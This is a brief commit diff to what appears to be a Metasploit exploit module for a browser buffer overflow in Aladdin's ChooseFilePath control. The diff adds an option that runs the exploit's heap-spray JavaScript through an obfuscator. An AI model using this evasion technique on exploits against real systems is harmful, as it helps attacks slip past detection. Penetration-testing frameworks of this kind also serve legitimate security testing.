Support heap spray obfuscation

modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

@@ -102,6 +102,11 @@ class Metasploit3 < Msf::Exploit::Remote
       'DisclosureDate' => "Apr 1 2012",
       'DefaultTarget'  => 0))
 
+    register_options(
+      [
+        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+      ], self.class
+    )
   end
 
 
@@ -127,6 +132,12 @@ class Metasploit3 < Msf::Exploit::Remote
     |
 
     js = heaplib(js, {:noobfu => true})
+
+    if datastore['OBFUSCATE']
+      js = ::Rex::Exploitation::JSObfu.new(js)
+      js.obfuscate
+    end
+
     return js
   end